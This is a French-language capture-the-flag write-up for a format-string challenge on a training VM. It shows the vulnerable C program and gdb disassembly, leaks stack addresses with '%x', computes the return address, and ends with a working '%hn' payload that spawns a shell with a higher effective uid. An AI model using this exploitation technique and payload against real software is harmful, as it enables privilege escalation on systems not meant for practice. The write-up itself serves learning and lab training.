Hello!

Je vais ici montrer un simple trick concernant l’exploitation de format string. Ca va consister à vite trouver l’addresse où écrire.

Tout d’abord le challenge :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
 if (argc != 2)
 {
  printf("Usage : ./prog arg\n");
  exit(1);
 }

 char name[1024];
 strncpy(name,argv[1],1024);
 name[1023] = '\0';
 printf("Votre nom est : ");
 printf(name);
 printf("\n");
 return 0;
}

On lance gdb :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
level9@VmAppliZenk:~$ gdb -q ./level9

warning: not using untrusted file "/home/level9/.gdbinit"
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048474 <main+0>: lea    ecx,[esp+0x4]
0x08048478 <main+4>: and    esp,0xfffffff0
0x0804847b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804847e <main+10>: push   ebp
0x0804847f <main+11>: mov    ebp,esp
0x08048481 <main+13>: push   ecx
0x08048482 <main+14>: sub    esp,0x414
0x08048488 <main+20>: mov    DWORD PTR [ebp-0x408],ecx
0x0804848e <main+26>: mov    eax,DWORD PTR [ebp-0x408]
0x08048494 <main+32>: cmp    DWORD PTR [eax],0x2
0x08048497 <main+35>: je     0x80484b1 <main+61>
0x08048499 <main+37>: mov    DWORD PTR [esp],0x80485e0
0x080484a0 <main+44>: call   0x8048398 <puts@plt>
0x080484a5 <main+49>: mov    DWORD PTR [esp],0x1
0x080484ac <main+56>: call   0x80483a8 <exit@plt>
0x080484b1 <main+61>: mov    edx,DWORD PTR [ebp-0x408]
0x080484b7 <main+67>: mov    eax,DWORD PTR [edx+0x4]
0x080484ba <main+70>: add    eax,0x4
0x080484bd <main+73>: mov    eax,DWORD PTR [eax]
0x080484bf <main+75>: mov    DWORD PTR [esp+0x8],0x400
0x080484c7 <main+83>: mov    DWORD PTR [esp+0x4],eax
0x080484cb <main+87>: lea    eax,[ebp-0x404]
0x080484d1 <main+93>: mov    DWORD PTR [esp],eax
0x080484d4 <main+96>: call   0x8048358 <strncpy@plt>
0x080484d9 <main+101>: mov    BYTE PTR [ebp-0x5],0x0
0x080484dd <main+105>: mov    DWORD PTR [esp],0x80485f3
0x080484e4 <main+112>: call   0x8048388 <printf@plt>
0x080484e9 <main+117>: lea    eax,[ebp-0x404]
0x080484ef <main+123>: mov    DWORD PTR [esp],eax
<span style="color: red;">0x080484f2 <main+126>: call   0x8048388 <printf@plt></span>
<span style="color: orange;">0x080484f7 <main+131>: mov    DWORD PTR [esp],0xa</span>
0x080484fe <main+138>: call   0x8048368 <putchar@plt>
0x08048503 <main+143>: mov    eax,0x0
0x08048508 <main+148>: add    esp,0x414
0x0804850e <main+154>: pop    ecx
0x0804850f <main+155>: pop    ebp
0x08048510 <main+156>: lea    esp,[ecx-0x4]
0x08048513 <main+159>: ret    
End of assembler dump.
(gdb) break *0x080484f2
Breakpoint 1 at 0x80484f2
(gdb) r %x
Starting program: /home/level9/level9 %x

Breakpoint 1, 0x080484f2 in main ()
Current language:  auto; currently asm
(gdb) x/10x $esp-16
0xbffff470: 0xbffff484 0xb7fd8ff4 0xbffff898 <span style="color: green;">0x080484e9</span>
0xbffff480: 0xbffff494 0xbffffa44 0x00000400 0xbffff4a0
0xbffff490: 0xbffff8b0 0x252e7825

On pose un breakpoint sur la ligne 0x080484f2 on retourne ensuite en 0x080484f7 normalement. On dumpe et on doit re-écrire l’adresse de retour (en vert).

L’adresse de re-écriture est en 0xbffff47c.

Bon comment on fait en dehors de gdb?

C’est là que la format string devient utile pour de l’information leak :

1
2
3
4
5
(gdb) r `python -c 'print "%x." * 10'`
Votre nom est : bffffa44.400.bffff4a0.bffff8b0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Program exited normally.
(gdb) quit

On peut calculer l’adresse où écrire grâce à la troisième valeur : offset pour avoir le début : 0xbffff4a0 - 0xbffff470 = 30 addresse où écrire : bffff470 + 0xc = bffff47c

On va essayer ça sans gdb now :).

1
2
level9@VmAppliZenk:~$ ./level9 `python -c 'print "%x." * 10'`
Votre nom est : bfffaa30.400.bfffa490.bfffa8a0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Addresse où on doit écrire : 0xbfffa490 - 0x30 + c = 0xbfffa46c

On essaie :

1
2
3
level9@VmAppliZenk:~$ ./level9 `python -c 'print "\x6c\xa4\xff\xbf" + "%55121x" + "%5$hn" + "\x6e\xa4\xff\xbf" + "%59558x" + "%9$hn"'`
sh-3.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1012(challengers)

Pawned,

m_101